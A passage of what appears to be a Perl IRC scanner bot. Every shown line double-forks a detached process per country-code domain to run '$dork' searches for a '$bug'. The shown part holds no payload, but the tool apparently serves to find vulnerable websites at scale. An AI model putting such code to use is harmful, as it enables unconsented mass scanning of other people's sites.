  1330.     if ($engine =~ /bi/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BI",$type,$nick); } exit; } }
  1331.     if ($engine =~ /co/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"CO",$type,$nick); } exit; } }
  1332.     if ($engine =~ /cd/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"CD",$type,$nick); } exit; } }
  1333.     if ($engine =~ /cg/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"CG",$type,$nick); } exit; } }
  1334.     if ($engine =~ /ck/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"CK",$type,$nick); } exit; } }
  1335.     if ($engine =~ /cr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"CR",$type,$nick); } exit; } }
  1336.     if ($engine =~ /hr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"HR",$type,$nick); } exit; } }
  1337.     if ($engine =~ /cu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"CU",$type,$nick); } exit; } }
  1338.     if ($engine =~ /ci/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"CI",$type,$nick); } exit; } }
  1339.     if ($engine =~ /dj/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"DJ",$type,$nick); } exit; } }
  1340.     if ($engine =~ /dm/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"DM",$type,$nick); } exit; } }
  1341.     if ($engine =~ /do/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"DO",$type,$nick); } exit; } }
  1342.     if ($engine =~ /ec/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"EC",$type,$nick); } exit; } }
  1343.     if ($engine =~ /eg/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"EG",$type,$nick); } exit; } }
  1344.     if ($engine =~ /sv/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"SV",$type,$nick); } exit; } }
  1345.     if ($engine =~ /ee/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"EE",$type,$nick); } exit; } }
  1346.     if ($engine =~ /et/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"ET",$type,$nick); } exit; } }
  1347.     if ($engine =~ /fj/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"FJ",$type,$nick); } exit; } }
  1348.     if ($engine =~ /fi/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"FI",$type,$nick); } exit; } }
  1349.     if ($engine =~ /gm/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GM",$type,$nick); } exit; } }
  1350.     if ($engine =~ /gi/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GI",$type,$nick); } exit; } }
  1351.     if ($engine =~ /gr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GR",$type,$nick); } exit; } }
  1352.     if ($engine =~ /gl/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GL",$type,$nick); } exit; } }
  1353.     if ($engine =~ /gt/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GT",$type,$nick); } exit; } }
  1354.     if ($engine =~ /gg/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GG",$type,$nick); } exit; } }
  1355.     if ($engine =~ /ht/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"HT",$type,$nick); } exit; } }
  1356.     if ($engine =~ /hn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"HN",$type,$nick); } exit; } }
  1357.     if ($engine =~ /hk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"HK",$type,$nick); } exit; } }
  1358.     if ($engine =~ /is/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"IS",$type,$nick); } exit; } }
  1359.     if ($engine =~ /ie/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"IE",$type,$nick); } exit; } }
  1360.     if ($engine =~ /im/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"IM",$type,$nick); } exit; } }
  1361.     if ($engine =~ /je/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JE",$type,$nick); } exit; } }
  1362.     if ($engine =~ /jo/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JO",$type,$nick); } exit; } }
  1363.     if ($engine =~ /kz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"KZ",$type,$nick); } exit; } }
  1364.     if ($engine =~ /ke/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"KE",$type,$nick); } exit; } }
  1365.     if ($engine =~ /kg/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"KG",$type,$nick); } exit; } }
  1366.     if ($engine =~ /lv/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"LV",$type,$nick); } exit; } }
  1367.     if ($engine =~ /ls/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"LS",$type,$nick); } exit; } }
  1368.     if ($engine =~ /ly/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"LY",$type,$nick); } exit; } }
  1369.     if ($engine =~ /li/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"LI",$type,$nick); } exit; } }
  1370.     if ($engine =~ /lt/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"LT",$type,$nick); } exit; } }
  1371.     if ($engine =~ /lu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"LU",$type,$nick); } exit; } }
  1372.     if ($engine =~ /mw/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"MW",$type,$nick); } exit; } }
  1373.     if ($engine =~ /mt/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"MT",$type,$nick); } exit; } }
  1374.     if ($engine =~ /mu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"MU",$type,$nick); } exit; } }
  1375.     if ($engine =~ /fm/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"FM",$type,$nick); } exit; } }
  1376.     if ($engine =~ /mn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"MN",$type,$nick); } exit; } }
  1377.     if ($engine =~ /ms/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"MS",$type,$nick); } exit; } }
  1378.     if ($engine =~ /ma/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"MA",$type,$nick); } exit; } }
  1379.     if ($engine =~ /na/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"NA",$type,$nick); } exit; } }
  1380.     if ($engine =~ /np/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"NP",$type,$nick); } exit; } }
  1381.     if ($engine =~ /nz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"NZ",$type,$nick); } exit; } }
  1382.     if ($engine =~ /ni/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"NI",$type,$nick); } exit; } }
  1383.     if ($engine =~ /nf/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"NF",$type,$nick); } exit; } }
  1384.     if ($engine =~ /no/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"NO",$type,$nick); } exit; } }
  1385.     if ($engine =~ /om/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"OM",$type,$nick); } exit; } }
  1386.     if ($engine =~ /pk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"PK",$type,$nick); } exit; } }
  1387.     if ($engine =~ /pa/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"PA",$type,$nick); } exit; } }
  1388.     if ($engine =~ /py/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"PY",$type,$nick); } exit; } }
  1389.     if ($engine =~ /pe/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"PE",$type,$nick); } exit; } }
  1390.     if ($engine =~ /pn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"PN",$type,$nick); } exit; } }
  1391.     if ($engine =~ /pt/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"PT",$type,$nick); } exit; } }
  1392.     if ($engine =~ /pr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"PR",$type,$nick); } exit; } }
  1393.     if ($engine =~ /qa/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"QA",$type,$nick); } exit; } }
  1394.     if ($engine =~ /rw/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"RW",$type,$nick); } exit; } }
  1395.     if ($engine =~ /sh/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"SH",$type,$nick); } exit; } }
  1396.     if ($engine =~ /sm/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"SM",$type,$nick); } exit; } }
  1397.     if ($engine =~ /sa/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"SA",$type,$nick); } exit; } }
  1398.     if ($engine =~ /sn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"SN",$type,$nick); } exit; } }
  1399.     if ($engine =~ /sc/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"SC",$type,$nick); } exit; } }
  1400.     if ($engine =~ /sg/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"SG",$type,$nick); } exit; } }
  1401.     if ($engine =~ /sk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"SK",$type,$nick); } exit; } }
  1402.     if ($engine =~ /za/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"ZA",$type,$nick); } exit; } }
  1403.     if ($engine =~ /lk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"LK",$type,$nick); } exit; } }
  1404.     if ($engine =~ /vc/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"VC",$type,$nick); } exit; } }
  1405.     if ($engine =~ /se/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"SE",$type,$nick); } exit; } }
  1406.     if ($engine =~ /ch/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"CH",$type,$nick); } exit; } }
  1407.     if ($engine =~ /tw/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"TW",$type,$nick); } exit; } }
  1408.     if ($engine =~ /tj/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"TJ",$type,$nick); } exit; } }
  1409.     if ($engine =~ /bs/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BS",$type,$nick); } exit; } }
  1410.     if ($engine =~ /to/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"TO",$type,$nick); } exit; } }
  1411.     if ($engine =~ /tt/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"TT",$type,$nick); } exit; } }
  1412.     if ($engine =~ /tr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"TR",$type,$nick); } exit; } }
  1413.     if ($engine =~ /tm/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"TM",$type,$nick); } exit; } }
  1414.     if ($engine =~ /vi/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"VI",$type,$nick); } exit; } }
  1415.     if ($engine =~ /ug/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"UG",$type,$nick); } exit; } }
  1416.     if ($engine =~ /uy/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"UY",$type,$nick); } exit; } }
  1417.     if ($engine =~ /uz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"UZ",$type,$nick); } exit; } }
  1418.     if ($engine =~ /ve/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"VE",$type,$nick); } exit; } }
  1419.     if ($engine =~ /vn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"VN",$type,$nick); } exit; } }
  1420.     if ($engine =~ /zm/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"ZM",$type,$nick); } exit; } }
  1421.     if ($engine =~ /museum/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"MUSEUM",$type,$nick); } exit; } }  
  1422.     if ($engine =~ /ws/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"WS",$type,$nick); } exit; } }
  1423.     if ($engine =~ /af/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AF",$type,$nick); } exit; } }
  1424.     if ($engine =~ /ax/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AX",$type,$nick); } exit; } }
  1425.     if ($engine =~ /al/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AL",$type,$nick); } exit; } }
  1426.     if ($engine =~ /dz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"DZ",$type,$nick); } exit; } }
  1427.     if ($engine =~ /ao/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AO",$type,$nick); } exit; } }
  1428.     if ($engine =~ /aq/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AQ",$type,$nick); } exit; } }
  1429.     if ($engine =~ /am/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AM",$type,$nick); } exit; } }
  1430.     if ($engine =~ /aw/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AW",$type,$nick); } exit; } }
  1431.     if ($engine =~ /ac/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AC",$type,$nick); } exit; } }
  1432.     if ($engine =~ /bj/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BJ",$type,$nick); } exit; } }
  1433.     if ($engine =~ /bm/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BM",$type,$nick); } exit; } }
  1434.     if ($engine =~ /bt/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BT",$type,$nick); } exit; } }
  1435.     if ($engine =~ /io/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"IO",$type,$nick); } exit; } }
  1436.     if ($engine =~ /bn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BN",$type,$nick); } exit; } }
  1437.     if ($engine =~ /bf/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BF",$type,$nick); } exit; } }
  1438.     if ($engine =~ /kh/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"KH",$type,$nick); } exit; } }
  1439.     if ($engine =~ /cm/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"CM",$type,$nick); } exit; } }
  1440.     if ($engine =~ /cv/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"CV",$type,$nick); } exit; } }
  1441.     if ($engine =~ /ky/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"KY",$type,$nick); } exit; } }
  1442.     if ($engine =~ /cf/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"CF",$type,$nick); } exit; } }
  1443.     if ($engine =~ /cx/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"CX",$type,$nick); } exit; } }
  1444.     if ($engine =~ /cw/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"CW",$type,$nick); } exit; } }
  1445.     if ($engine =~ /cy/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"CY",$type,$nick); } exit; } }
  1446.     if ($engine =~ /fk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"FK",$type,$nick); } exit; } }
  1447.     if ($engine =~ /fo/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"FO",$type,$nick); } exit; } }
  1448.     if ($engine =~ /gh/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GH",$type,$nick); } exit; } }
  1449.     if ($engine =~ /gd/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GD",$type,$nick); } exit; } }
  1450.     if ($engine =~ /gp/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GP",$type,$nick); } exit; } }
  1451.     if ($engine =~ /gu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GU",$type,$nick); } exit; } }
  1452.     if ($engine =~ /gn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GN",$type,$nick); } exit; } }
  1453.     if ($engine =~ /gy/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GY",$type,$nick); } exit; } }
  1454.     if ($engine =~ /hm/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"HM",$type,$nick); } exit; } }
  1455.     if ($engine =~ /iq/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"IQ",$type,$nick); } exit; } }
  1456.     if ($engine =~ /jm/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JM",$type,$nick); } exit; } }
  1457.     if ($engine =~ /ki/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"KI",$type,$nick); } exit; } }
  1458.     if ($engine =~ /kw/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"KW",$type,$nick); } exit; } }
  1459.     if ($engine =~ /la/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"LA",$type,$nick); } exit; } }
  1460.     if ($engine =~ /lb/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"LB",$type,$nick); } exit; } }
  1461.     if ($engine =~ /lr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"LR",$type,$nick); } exit; } }
  1462.     if ($engine =~ /mo/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"MO",$type,$nick); } exit; } }
  1463.     if ($engine =~ /mg/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"MG",$type,$nick); } exit; } }
  1464.     if ($engine =~ /mv/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"MV",$type,$nick); } exit; } }
  1465.     if ($engine =~ /mp/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"MP",$type,$nick); } exit; } }
  1466.     if ($engine =~ /mq/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"MQ",$type,$nick); } exit; } }
  1467.     if ($engine =~ /mr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"MR",$type,$nick); } exit; } }
  1468.     if ($engine =~ /yt/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"YT",$type,$nick); } exit; } }
  1469.     if ($engine =~ /md/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"MD",$type,$nick); } exit; } }
  1470.     if ($engine =~ /mc/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"MC",$type,$nick); } exit; } }
  1471.     if ($engine =~ /me/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"ME",$type,$nick); } exit; } }
  1472.     if ($engine =~ /mz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"MZ",$type,$nick); } exit; } }
  1473.     if ($engine =~ /nr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"NR",$type,$nick); } exit; } }
  1474.     if ($engine =~ /nc/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"NC",$type,$nick); } exit; } }
  1475.     if ($engine =~ /ng/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"NG",$type,$nick); } exit; } }
  1476.     if ($engine =~ /nu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"NU",$type,$nick); } exit; } }
  1477.     if ($engine =~ /pw/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"PW",$type,$nick); } exit; } }
  1478.     if ($engine =~ /ps/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"PS",$type,$nick); } exit; } }
  1479.     if ($engine =~ /cq/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"CQ",$type,$nick); } exit; } }
  1480.     if ($engine =~ /re/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"RE",$type,$nick); } exit; } }
  1481.     if ($engine =~ /lc/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"LC",$type,$nick); } exit; } }
  1482.     if ($engine =~ /pm/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"PM",$type,$nick); } exit; } }
  1483.     if ($engine =~ /st/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"ST",$type,$nick); } exit; } }
  1484.     if ($engine =~ /rs/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"RS",$type,$nick); } exit; } }
  1485.     if ($engine =~ /gs/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GS",$type,$nick); } exit; } }
  1486.     if ($engine =~ /sl/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"SL",$type,$nick); } exit; } }
  1487.     if ($engine =~ /sx/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"SX",$type,$nick); } exit; } }
  1488.     if ($engine =~ /sb/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"SB",$type,$nick); } exit; } }
  1489.     if ($engine =~ /so/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"SO",$type,$nick); } exit; } }
  1490.     if ($engine =~ /su/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"SU",$type,$nick); } exit; } }
  1491.     if ($engine =~ /kn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"KN",$type,$nick); } exit; } }
  1492.     if ($engine =~ /sr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"SR",$type,$nick); } exit; } }
  1493.     if ($engine =~ /tz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"TZ",$type,$nick); } exit; } }
  1494.     if ($engine =~ /tl/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"TL",$type,$nick); } exit; } }
  1495.     if ($engine =~ /tg/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"TG",$type,$nick); } exit; } }
  1496.     if ($engine =~ /tk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"TK",$type,$nick); } exit; } }
  1497.     if ($engine =~ /tn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"TN",$type,$nick); } exit; } }
